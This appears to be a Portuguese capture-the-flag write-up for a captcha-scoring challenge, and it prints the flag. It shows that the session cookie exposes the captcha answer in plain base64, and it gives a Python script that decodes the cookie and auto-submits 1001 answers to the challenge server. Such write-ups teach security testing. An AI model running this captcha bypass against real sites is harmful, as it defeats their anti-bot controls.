Você é um robô? Me prove que não conseguindo 1000 pontos nesse jogo :]
@big0us
Format da flag: bCTF{xxx}
bCTF{60e01ab8b0d203cb8cfa2e5b1e4cd23d}
Nesse desafio, erámos colocados em uma situação em que teríamos que resolver um problema de captcha 1000 vezes para obter a flag. Portanto, foi necessário construir um script para se resolver esse problema.
Ao entrar na aplicação, nos deparamos com a seguinte interface:
Ao completar um captcha valido, um ponto era adicionado ao nosso score. Ao inspecionar os cookies do site, podemos ver que ele possui um Json Web Token, onde existe armazenado os seguintes valores:
{
"last": "jlbl6y",
"message": "",
"record": 0,
"score": 2
}
Fica claro que o valor last
é o valor do captcha que temos que resolver. Para conseguir a flag, bastou utilizar o script:
import base64
import requests
import json
def pad_base64(data):
"""Ensure base64 data is correctly padded."""
return data + "=" * ((4 - len(data) % 4) % 4)
def get_last_from_cookie(session, url):
"""Extract the 'last' value from the cookie."""
session.get(url)
cookieB64 = session.cookies.get("session").split(".")[0]
cookieB64 = pad_base64(cookieB64)
try:
cookie = base64.b64decode(cookieB64).decode("utf-8")
info = json.loads(cookie)
return info['last']
except Exception as e:
print(f"Error decoding or parsing cookie: {e}")
return None
def main():
url = "https://captchagame-7jktu72cma-uc.a.run.app"
session = requests.Session()
last_value = get_last_from_cookie(session, url)
if not last_value:
return
data = {
"response": last_value
}
for i in range(1001):
try:
res = session.post(url, data=data)
last_value = get_last_from_cookie(session, url)
if not last_value:
break
print(f"[{i}] {last_value}")
data["response"] = last_value
except requests.RequestException as e:
print(f"Error with request on iteration {i}: {e}")
break
print(res.text)
if __name__ == "__main__":
main()
Assim, podemos obter o seguinte desfecho:
Com o final: